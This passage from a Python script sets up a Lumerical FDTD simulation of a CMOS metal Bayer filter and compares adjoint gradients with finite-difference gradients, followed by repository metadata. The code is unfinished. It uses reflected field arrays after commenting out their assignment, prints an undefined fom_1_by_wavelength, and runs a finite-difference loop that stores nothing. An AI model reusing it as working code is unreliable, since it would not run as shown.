'plane_src_xpol'\nplane_src_xpol['angle phi'] = 0\nplane_src_xpol['plane wave type'] = 'Diffracting'\nplane_src_xpol['direction'] = 'Backward'\nplane_src_xpol['x span'] = 1.3 * device_size_lateral_um * 1e-6\nplane_src_xpol['y span'] = 1.3 * device_size_lateral_um * 1e-6\nplane_src_xpol['z'] = (src_maximum_vertical_um + mode_reflection_monitor_delta_um) * 1e-6\nplane_src_xpol['wavelength start'] = src_lambda_min_um * 1e-6\nplane_src_xpol['wavelength stop'] = src_lambda_max_um * 1e-6\nplane_src_xpol.enabled = 0\n\n\nforward_src_ypol = fdtd_hook.addtfsf()\nforward_src_ypol['name'] = 'forward_src_ypol'\nforward_src_ypol['angle phi'] = xy_phi_rotations['y']\n# forward_src_ypol['direction'] = 'Backward'\nforward_src_ypol['direction'] = 'Forward'\nforward_src_ypol['x span'] = 1.3 * device_size_lateral_um * 1e-6\nforward_src_ypol['y span'] = 1.3 * device_size_lateral_um * 1e-6\n# forward_src_ypol['z min'] = src_minimum_vertical_um * 1e-6\n# forward_src_ypol['z max'] = src_maximum_vertical_um * 1e-6\nforward_src_ypol['z min'] = src_maximum_vertical_um * 1e-6\nforward_src_ypol['z max'] = fdtd_region_maximum_vertical_um * 1e-6\nforward_src_ypol['wavelength start'] = src_lambda_min_um * 1e-6\nforward_src_ypol['wavelength stop'] = src_lambda_max_um * 1e-6\n\nplane_wave_sources['x'] = forward_src_xpol\nplane_wave_sources['y'] = forward_src_ypol\n\n#\n# Disable all sources in the simulation, so that we can selectively turn single sources on at a time\n#\ndef disable_all_sources():\n    fdtd_hook.switchtolayout()\n\n    plane_wave_sources['x'].enabled = 0\n    plane_wave_sources['y'].enabled = 0\n\n\n#\n# Set up the volumetric electric field monitor inside the design region.  We will need this compute\n# the adjoint gradient\n#\ndesign_efield_monitor = fdtd_hook.addprofile()\ndesign_efield_monitor['name'] = 'design_efield_monitor'\ndesign_efield_monitor['monitor type'] = '3D'\ndesign_efield_monitor['x span'] = device_size_lateral_um * 1e-6\ndesign_efield_monitor['y span'] = device_size_lateral_um * 1e-6\ndesign_efield_monitor['z min'] = designable_device_vertical_minimum_um * 1e-6\ndesign_efield_monitor['z max'] = designable_device_vertical_maximum_um * 1e-6\ndesign_efield_monitor['override global monitor settings'] = 1\ndesign_efield_monitor['linear wavelength spacing'] = 1\ndesign_efield_monitor['use source limits'] = 0\ndesign_efield_monitor['minimum wavelength'] = lambda_min_um * 1e-6\ndesign_efield_monitor['maximum wavelength'] = lambda_max_um * 1e-6\ndesign_efield_monitor['frequency points'] = num_design_frequency_points\ndesign_efield_monitor['output Hx'] = 0\ndesign_efield_monitor['output Hy'] = 0\ndesign_efield_monitor['output Hz'] = 0\n\n#\n# Set up adjoint point monitors to get electric field strength at focus spots.  This will allow us to\n# compute the figure of merit as well as weight the adjoint simulations properly in calculation of the\n# gradient.\n#\nmode_reflection_monitor = fdtd_hook.addpower()\nmode_reflection_monitor['name'] = 'mode_reflection_monitor'\nmode_reflection_monitor['monitor type'] = '2D Z-normal'\nmode_reflection_monitor['x span'] = plane_wave_sources['x']['x span']\nmode_reflection_monitor['y span'] = plane_wave_sources['x']['y span']\nmode_reflection_monitor['z'] = ( src_maximum_vertical_um + mode_reflection_monitor_delta_um ) * 1e-6\nmode_reflection_monitor['override global monitor settings'] = 1\nmode_reflection_monitor['linear wavelength spacing'] = 1\nmode_reflection_monitor['use source limits'] = 0\nmode_reflection_monitor['minimum wavelength'] = lambda_min_um * 1e-6\nmode_reflection_monitor['maximum wavelength'] = lambda_max_um * 1e-6\nmode_reflection_monitor['frequency points'] = num_design_frequency_points\n\nfocal_monitor = fdtd_hook.addpower()\nfocal_monitor['name'] = 'focal_monitor'\nfocal_monitor['monitor type'] = 'Point'\nfocal_monitor['x'] = 0\nfocal_monitor['y'] = 0\nfocal_monitor['z'] = ( src_maximum_vertical_um + mode_reflection_monitor_delta_um ) * 1e-6\nfocal_monitor['override global monitor settings'] = 1\nfocal_monitor['linear wavelength spacing'] = 1\nfocal_monitor['use source limits'] = 0\nfocal_monitor['minimum wavelength'] = lambda_min_um * 1e-6\nfocal_monitor['maximum wavelength'] = lambda_max_um * 1e-6\nfocal_monitor['frequency points'] = num_design_frequency_points\n\n\n#\n# Run a normalization run for the adjoint problem\n#\nmode_e_fields = {}\nmode_h_fields = {}\n\n# == 377.1\nmu_nought_c = ( 1.257 * 1e-6 ) * ( 3.0 * 1e8 )\n\nmonitor_lateral_voxels = 1 + int( 1e6 * mode_reflection_monitor[ 'x span' ] / mesh_spacing_um )\n# Organize these as freq, pol, z, y, x\n\nmode_e_field_xpol = np.zeros( ( 3, num_design_frequency_points, 1, monitor_lateral_voxels, monitor_lateral_voxels ), dtype=np.complex )\nmode_h_field_xpol = np.zeros( ( 3, num_design_frequency_points, 1, monitor_lateral_voxels, monitor_lateral_voxels ), dtype=np.complex )\n\nmode_e_field_xpol[ 0, :, :, :, : ] = 1\nmode_h_field_xpol[ 1, :, :, :, : ] = ( 1. / mu_nought_c )\n\n\nmode_e_field_ypol = np.zeros( ( 3, num_design_frequency_points, 1, monitor_lateral_voxels, monitor_lateral_voxels ), dtype=np.complex )\nmode_h_field_ypol = np.zeros( ( 3, num_design_frequency_points, 1, monitor_lateral_voxels, monitor_lateral_voxels ), dtype=np.complex )\n\nmode_e_field_ypol[ 1, :, :, :, : ] = 1\nmode_h_field_ypol[ 0, :, :, :, : ] = -( 1. / mu_nought_c )\n\nmode_e_fields[ 'x' ] = mode_e_field_xpol\nmode_h_fields[ 'x' ] = mode_h_field_xpol\n\nmode_e_fields[ 'y' ] = mode_e_field_ypol\nmode_h_fields[ 'y' ] = mode_h_field_ypol\n\n\nphase_corrections_reflection = np.zeros( num_design_frequency_points, dtype=np.complex )\n\nfor wl_idx in range( 0, num_design_frequency_points ):\n    wavelength_um = lambda_values_um[ wl_idx ]\n    phase_shift = -2 * np.pi * mode_reflection_monitor_delta_um / wavelength_um\n    phase_corrections_reflection[ wl_idx ] = 1#np.exp( 1j * phase_shift )\n    #print(phase_shift / (2*np.pi))\n\nplane_wave_sources['x']['direction'] = 'Backward'\nplane_wave_sources['x']['z min'] = src_minimum_vertical_um * 1e-6\nplane_wave_sources['x']['z max'] = src_maximum_vertical_um * 1e-6\n\nplane_wave_sources['y']['direction'] = 'Backward'\nplane_wave_sources['y']['z min'] = src_minimum_vertical_um * 1e-6\nplane_wave_sources['y']['z max'] = src_maximum_vertical_um * 1e-6\n\n\n# Add Si absorbing layer\nsilicon_absorbing_layer = fdtd_hook.addrect()\nsilicon_absorbing_layer['name'] = 'bottom_metal_absorber'\nsilicon_absorbing_layer['x span'] = fdtd_region_size_lateral_um * 1e-6\nsilicon_absorbing_layer['y span'] = fdtd_region_size_lateral_um * 1e-6\nsilicon_absorbing_layer['z min'] = bottom_metal_absorber_start_um * 1e-6\nsilicon_absorbing_layer['z max'] = bottom_metal_absorber_end_um * 1e-6\nsilicon_absorbing_layer['material'] = 'Si (Silicon) - Palik'\n\n#\n# Add device region and create device permittivity\n#\n\nmin_device_permittivity = min_real_permittivity + 1j * min_imag_permittivity\nmax_device_permittivity = max_real_permittivity + 1j * max_imag_permittivity\n\n#\n# Here, many devices will actually be added, one for each actually designable region.  When the region is not\n# designable, we will just add a block of material there.  This applies for things like the via and capping layers\n#\nfilter_import = fdtd_hook.addimport()\nfilter_import['name'] = 'filter_import'\nfilter_import['x span'] = device_size_lateral_um * 1e-6\nfilter_import['y span'] = device_size_lateral_um * 1e-6\nfilter_import['z min'] = designable_device_vertical_minimum_um * 1e-6\nfilter_import['z max'] = designable_device_vertical_maximum_um * 1e-6\n\nnp.random.seed( 234234 )\nfilter_permittivity = 1 + np.random.random( ( device_voxels_lateral, device_voxels_lateral, designable_device_voxels_vertical ))\nfilter_region_x = 1e-6 * np.linspace(-0.5 * device_size_lateral_um, 0.5 * device_size_lateral_um, device_voxels_lateral)\nfilter_region_y = 1e-6 * np.linspace(-0.5 * device_size_lateral_um, 0.5 * device_size_lateral_um, device_voxels_lateral)\nfilter_region_z = 1e-6 * np.linspace(designable_device_vertical_minimum_um, designable_device_vertical_maximum_um, designable_device_voxels_vertical)\n\nfdtd_hook.switchtolayout()\nfdtd_hook.select(\"filter_import\")\nfilter_index = np.sqrt( filter_permittivity )\nfdtd_hook.importnk2( filter_index, filter_region_x, filter_region_y, filter_region_z )\n\n\n\ndef mode_overlap_fom(\n    electric_fields_forward, magnetic_fields_forward,\n    electric_mode_fields, magnetic_mode_fields, normal_weighting,\n    mode_overlap_norm=None ):\n\n    choose_electric_mode = electric_mode_fields\n    choose_magnetic_mode = magnetic_mode_fields\n\n    choose_electric_forward = electric_fields_forward\n    choose_magnetic_forward = magnetic_fields_forward\n\n    numerator_term_1 = (\n        np.sum( choose_electric_forward[ 0, 0, :, : ] * np.conj( choose_magnetic_mode[ 1, 0, :, : ] ) ) +\n        np.sum( np.conj( choose_electric_mode[ 0, 0, :, : ] ) * choose_magnetic_forward[ 1, 0, :, : ] ) )\n\n    numerator_term_2 = -(\n        np.sum( choose_electric_forward[ 1, 0, :, : ] * np.conj( choose_magnetic_mode[ 0, 0, :, : ] ) ) +\n        np.sum( np.conj( choose_electric_mode[ 1, 0, :, : ] ) * choose_magnetic_forward[ 0, 0, :, : ] ) )\n\n    numerator = numerator_term_1 + numerator_term_2\n    numerator = np.abs( numerator )**2\n\n    denominator = 8.0 * np.real(\n        np.sum( choose_electric_mode[ 0, 0, :, : ] * np.conj( choose_magnetic_mode[ 1, 0, :, : ] ) ) -\n        np.sum( choose_electric_mode[ 1, 0, :, : ] * np.conj( choose_magnetic_mode[ 0, 0, :, : ] ) )\n    )\n\n    fom = ( numerator / denominator )\n    if mode_overlap_norm is not None:\n        fom = ( numerator / ( mode_overlap_norm * denominator ) )\n\n    fom *= normal_weighting\n\n    return fom\n\ndef mode_overlap_gradient(\n    figure_of_merit,\n    electric_fields_forward, magnetic_fields_forward,\n    electric_mode_fields, magnetic_mode_fields,\n    electric_fields_gradient_forward, electric_fields_gradient_adjoint,\n    normal_weighting,\n    mode_overlap_norm ):\n\n    gradient = np.zeros( electric_fields_gradient_forward.shape[ 2 : ], dtype=np.complex )\n\n    choose_electric_mode = electric_mode_fields\n    choose_magnetic_mode = magnetic_mode_fields\n\n    choose_electric_forward = electric_fields_forward\n    choose_magnetic_forward = magnetic_fields_forward\n\n    numerator_term_1 = (\n        np.sum( choose_electric_forward[ 0, 0, :, : ] * np.conj( choose_magnetic_mode[ 1, 0, :, : ] ) ) +\n        np.sum( np.conj( choose_electric_mode[ 0, 0, :, : ] ) * choose_magnetic_forward[ 1, 0, :, : ] ) )\n\n    numerator_term_2 = -(\n        np.sum( choose_electric_forward[ 1, 0, :, : ] * np.conj( choose_magnetic_mode[ 0, 0, :, : ] ) ) +\n        np.sum( np.conj( choose_electric_mode[ 1, 0, :, : ] ) * choose_magnetic_forward[ 0, 0, :, : ] ) )\n\n    numerator = numerator_term_1 + numerator_term_2\n\n    denominator = 4.0 * np.real(\n        np.sum( choose_electric_mode[ 0, 0, :, : ] * np.conj( choose_magnetic_mode[ 1, 0, :, : ] ) ) -\n        np.sum( choose_electric_mode[ 1, 0, :, : ] * np.conj( choose_magnetic_mode[ 0, 0, :, : ] ) )\n    )\n\n    adjoint_phase = np.conj( numerator ) / ( denominator * mode_overlap_norm )\n    gradient = normal_weighting * ( \n        adjoint_phase *\n        np.sum( electric_fields_gradient_forward * electric_fields_gradient_adjoint, axis=0 ) )\n\n    return -gradient\n\n\nmode_overlap_maxima_r = []\n\nfor reflection_band in range( 0, len( reflection_fom_map) ):\n    wavelength_range = reflection_fom_map[ reflection_band ]\n    num_wavelengths = wavelength_range[ 1 ] - wavelength_range[ 0 ]\n\n    #\n    # Just choose the x-polarized input because the overlap normalizations should be the same based\n    # on symmetry\n    #\n    mode_e_field = mode_e_fields['x']\n    mode_h_field = mode_h_fields['x']\n\n    mode_e_field_shape = mode_e_field.shape\n    mode_h_field_shape = mode_h_field.shape\n\n    band_mode_e_field_shape = np.array( mode_e_field_shape )\n    band_mode_h_field_shape = np.array( mode_h_field_shape )\n\n    band_mode_e_field_shape[ 1 ] = num_wavelengths\n    band_mode_h_field_shape[ 1 ] = num_wavelengths\n\n    select_mode_e_field_band = np.zeros( band_mode_e_field_shape, dtype=np.complex )\n    select_mode_h_field_band = np.zeros( band_mode_h_field_shape, dtype=np.complex )\n\n    for wl_idx in range( wavelength_range[ 0 ], wavelength_range[ 1 ] ):\n\n        select_mode_e_field_band[ :, wl_idx - wavelength_range[ 0 ], :, :, : ] = mode_e_field[ :, wl_idx, :, :, : ]\n        select_mode_h_field_band[ :, wl_idx - wavelength_range[ 0 ], :, :, : ] = mode_h_field[ :, wl_idx, :, :, : ]\n\n    mode_overlap_maxima_r.append(  num_wavelengths * mode_overlap_fom( select_mode_e_field_band, select_mode_h_field_band, select_mode_e_field_band, select_mode_h_field_band, 1 ) )\n\n\n\ndisable_all_sources()\nplane_src_xpol.enabled = 1\nstart_fdtd = time.time()\nfdtd_hook.run()\nelapsed_fdtd = time.time() - start_fdtd\n\nprint(\"It took FDTD \" + str(elapsed_fdtd) + \" seconds to run which is \" + str(elapsed_fdtd / 60) + \" minutes\")\n\nforward_e_fields = get_complex_monitor_data(design_efield_monitor['name'], 'E')\n\nnp.save( projects_directory_location + \"/adjoint_e_fields_diffracting.npy\", forward_e_fields );\n\ndisable_all_sources()\nplane_src_xpol.enabled = 0\n\n\n#\n# Run forward source\n#\npol = 'x'\n# disable_all_sources()\n# plane_wave_sources[pol].enabled = 1\n# start_fdtd = time.time()\n# fdtd_hook.run()\n# elapsed_fdtd = time.time() - start_fdtd\n\n# print(\"It took FDTD \" + str(elapsed_fdtd) + \" seconds to run which is \" + str(elapsed_fdtd / 60) + \" minutes\")\n\n# forward_e_fields = get_complex_monitor_data(design_efield_monitor['name'], 'E')\n\n# reflected_e_fields = get_complex_monitor_data( mode_reflection_monitor[ 'name' ], 'E' )\n# reflected_h_fields = get_complex_monitor_data( mode_reflection_monitor[ 'name' ], 'H' )\n# focal_data = get_complex_monitor_data( focal_monitor['name'], 'E' )\n\nnp.save( projects_directory_location + \"/reflected_e_fields.npy\", reflected_e_fields );\nnp.save( projects_directory_location + \"/reflected_h_fields.npy\", reflected_h_fields );\n#sys.exit(1)\n\nfocal_fom_0_by_wavelength = np.zeros( num_design_frequency_points )\n\n\nfom_0_by_wavelength = np.zeros( num_design_frequency_points )\nmode_e_field = mode_e_fields[ pol ]\nmode_h_field = mode_h_fields[ pol ]\n\nmode_overlap_maxima_r = 1\n\nfor wl_idx in range( 0, num_design_frequency_points ):\n    fom_0_by_wavelength[ wl_idx ] = mode_overlap_fom(\n        reflected_e_fields[ :, wl_idx, :, :, :], reflected_h_fields[ :, wl_idx, :, :, : ],\n        mode_e_field[ :, wl_idx, :, :, : ], mode_h_field[ :, wl_idx, :, :, : ],\n        1, mode_overlap_maxima_r\n    )\nprint( fom_0_by_wavelength )\n\n#     focal_fom_0_by_wavelength[ wl_idx ] = np.sum( np.abs( focal_data[ :, wl_idx, 0, 0, 0 ] )**2 )\n\nforward_e_fields = np.load( projects_directory_location + \"/forward_e_fields.npy\" )\nfd_by_wavelength = np.load( projects_directory_location + \"/fd_by_wavelength.npy\" )\nfocal_fd_by_wavelength = np.load( projects_directory_location + \"/focal_fd_by_wavelength.npy\" )\n\nfd_y = int( device_voxels_lateral / 2.0 )\nfd_z =  int( designable_device_voxels_vertical / 2.0 )\nh = 0.01\n\n# fd_by_wavelength = np.zeros( ( device_voxels_lateral, num_design_frequency_points ) )\n# focal_fd_by_wavelength = np.zeros( ( device_voxels_lateral, num_design_frequency_points ) )\n\nadj_refl = np.zeros( ( device_voxels_lateral, num_design_frequency_points ) )\nfor fd_x in range( 0, device_voxels_lateral ):\n    print(\"Working on finite diff = \" + str( fd_x ))\n    filter_permittivity[ fd_x, fd_y, fd_z ] += h\n    fdtd_hook.switchtolayout()    \n    fdtd_hook.select(\"filter_import\")\n    filter_index = np.sqrt( filter_permittivity )\n    fdtd_hook.importnk2( filter_index, filter_region_x, filter_region_y, filter_region_z )\n    disable_all_sources()\n    plane_wave_sources[pol].enabled = 1\n    fdtd_hook.run()\n\nadjoint_e_fields = np.load( projects_directory_location + \"/adjoint_e_fields_diffracting.npy\" )\nforward_e_fields\n\nfor reflection_band in range( 0, len( reflection_fom_map) ):\n    wavelength_range = reflection_fom_map[ reflection_band ]\n    num_wavelengths = wavelength_range[ 1 ] - wavelength_range[ 0 ]\n\n    mode_e_field_shape = mode_e_field.shape\n    mode_h_field_shape = mode_h_field.shape\n\n    band_mode_e_field_shape = np.array( mode_e_field_shape )\n    band_mode_h_field_shape = np.array( mode_h_field_shape )\n\n    band_mode_e_field_shape[ 1 ] = num_wavelengths\n    band_mode_h_field_shape[ 1 ] = num_wavelengths\n    print( fom_1_by_wavelength )\n    print( fom_0_by_wavelength )\n    print( ( fom_1_by_wavelength - fom_0_by_wavelength ) / h )\n\n    reflected_e_field_band = np.zeros( band_mode_e_field_shape, dtype=np.complex )\n    reflected_h_field_band = np.zeros( band_mode_h_field_shape, dtype=np.complex )\n\n    select_mode_e_field_band = np.zeros( band_mode_e_field_shape, dtype=np.complex )\n    select_mode_h_field_band = np.zeros( band_mode_h_field_shape, dtype=np.complex )\n\n    adjoint_reflection_e_fields = np.zeros(\n        ( 3, num_wavelengths, designable_device_voxels_vertical, device_voxels_lateral, device_voxels_lateral ), dtype=np.complex )\n\n    forward_reflection_e_fields = np.zeros(\n        ( 3, num_wavelengths, designable_device_voxels_vertical, device_voxels_lateral, device_voxels_lateral ), dtype=np.complex )\n\n    for wl_idx in range( wavelength_range[ 0 ], wavelength_range[ 1 ] ):\n        mode_overlap_norm = 1\n\n        cur_reflection_gradient = mode_overlap_gradient(\n                1,\n                reflected_e_fields[ :, wl_idx, :, :, : ], reflected_h_fields[ :, wl_idx, :, :, : ],\n                mode_e_field[ :, wl_idx, :, :, : ], mode_h_field[ :, wl_idx, :, :, : ],\n                forward_e_fields[ :, wl_idx, :, :, : ], adjoint_e_fields[ :, wl_idx, :, :, : ],\n                1,\n                mode_overlap_norm\n            ) / 1j\n\n        get_gradient = 2 * np.real( cur_reflection_gradient )\n        get_gradient = np.swapaxes( get_gradient, 0, 2 )\n        adj_refl[ :, wl_idx ] = get_gradient[ :, fd_y, fd_z ]\n\ncolors = [ 'r', 'g', 'b', 'm', 'c', 'k' ]\nlegend = []\n\n# print( num_design_frequency_points )\nfor plot_wl_idx in range( 0, num_design_frequency_points ):\n\n    # plot_wl_idx = 0\n    # print(fd_by_wavelength[:, plot_wl_idx])\n    # print(focal_fd_by_wavelength[:, plot_wl_idx])\n    # print(adj_refl[:, plot_wl_idx])\n\n    wl_nm = int( 1e3 * lambda_values_um[ plot_wl_idx ] )\n    legend.append( str( wl_nm ) + \" nm (ADJ)\" )\n    legend.append( str( wl_nm ) + \" nm (FD)\" )\n\n    plt.plot( adj_refl[ :, plot_wl_idx ] / np.max( np.abs( adj_refl[ :, plot_wl_idx ] ) ), color=colors[ plot_wl_idx % len( colors ) ], linewidth=2 )\n    plt.plot( fd_by_wavelength[ :, plot_wl_idx ] / np.max( np.abs( fd_by_wavelength[ :, plot_wl_idx ] ) ), color=colors[ plot_wl_idx % len( colors ) ], linewidth=2, linestyle='--' )\nplt.legend( legend )\nplt.show()\n\n", "repo_name": "TZZheng/adjoint_lumerical", "sub_path": "inverse_design/CMOSMetalBayerFilter3DSingleBandModeFiniteDifference.py", "file_name": "CMOSMetalBayerFilter3DSingleBandModeFiniteDifference.py", "file_ext": "py", "file_size_in_byte": 23940, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.path.insert", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 5, "usage_type": "call"}, {"api_name": "numpy.real", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.imag", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 25, "usage_type": "call"}, {"api_name": "lumapi.FDTD", "line_number": 32, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 39, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 40, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 43, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 44, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 45, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path", "line_number": 58, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 59, "usage_type": "call"}, {"api_name": "shutil.copy2", "line_number": 68, "usage_type": "call"}, {"api_name": "lumapi.evalScript", "line_number": 83, "usage_type": "call"}, {"api_name": "lumapi.evalScript", "line_number": 84, "usage_type": "call"}, {"api_name": "lumapi.evalScript", "line_number": 88, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.complex", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 259, "usage_type": "call"}, {"api_name": "numpy.complex", "line_number": 259, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 260, "usage_type": "call"}, {"api_name": "numpy.complex", "line_number": 260, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 266, "usage_type": "call"}, {"api_name": "numpy.complex", "line_number": 266, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 267, "usage_type": "call"}, {"api_name": "numpy.complex", "line_number": 267, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 279, "usage_type": "call"}, {"api_name": "numpy.complex", "line_number": 279, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 283, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 323, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 323, "usage_type": "attribute"}, {"api_name": "numpy.random.random", "line_number": 324, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 324, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 325, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 326, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 327, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 331, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 348, "usage_type": "call"}, {"api_name": "numpy.conj", "line_number": 348, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 349, "usage_type": "call"}, {"api_name": "numpy.conj", "line_number": 349, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 352, "usage_type": "call"}, {"api_name": "numpy.conj", "line_number": 352, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 353, "usage_type": "call"}, {"api_name": "numpy.conj", "line_number": 353, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 356, "usage_type": "call"}, {"api_name": "numpy.real", "line_number": 358, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 359, "usage_type": "call"}, {"api_name": "numpy.conj", "line_number": 359, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 360, "usage_type": "call"}, {"api_name": "numpy.conj", "line_number": 360, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 379, "usage_type": "call"}, {"api_name": "numpy.complex", "line_number": 379, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 388, "usage_type": "call"}, {"api_name": "numpy.conj", "line_number": 388, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 389, "usage_type": "call"}, {"api_name": "numpy.conj", "line_number": 389, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 392, "usage_type": "call"}, {"api_name": "numpy.conj", "line_number": 392, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 393, "usage_type": "call"}, {"api_name": "numpy.conj", "line_number": 393, "usage_type": "call"}, {"api_name": "numpy.real", "line_number": 397, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 398, "usage_type": "call"}, {"api_name": "numpy.conj", "line_number": 398, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 399, "usage_type": "call"}, {"api_name": "numpy.conj", "line_number": 399, "usage_type": "call"}, {"api_name": "numpy.conj", "line_number": 402, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 405, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 426, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 427, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 432, "usage_type": "call"}, {"api_name": "numpy.complex", "line_number": 432, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 433, "usage_type": "call"}, {"api_name": "numpy.complex", "line_number": 433, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 446, "usage_type": "call"}, {"api_name": "time.time", "line_number": 448, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 454, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 478, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 479, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 482, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 485, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 501, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 502, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 503, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 512, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 518, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 524, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 534, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 535, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 543, "usage_type": "call"}, {"api_name": "numpy.complex", "line_number": 543, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 544, "usage_type": "call"}, {"api_name": "numpy.complex", "line_number": 544, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 546, "usage_type": "call"}, {"api_name": "numpy.complex", "line_number": 546, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 547, "usage_type": "call"}, {"api_name": "numpy.complex", "line_number": 547, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 549, "usage_type": "call"}, {"api_name": "numpy.complex", "line_number": 550, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 552, "usage_type": "call"}, {"api_name": "numpy.complex", "line_number": 553, "usage_type": "attribute"}, {"api_name": "numpy.real", "line_number": 567, "usage_type": "call"}, {"api_name": "numpy.swapaxes", "line_number": 568, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 586, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 586, "usage_type": "name"}, {"api_name": "numpy.max", "line_number": 586, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 586, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 587, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 587, "usage_type": "name"}, {"api_name": "numpy.max", "line_number": 587, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 587, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 588, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 588, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 589, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 589, "usage_type": "name"}]}
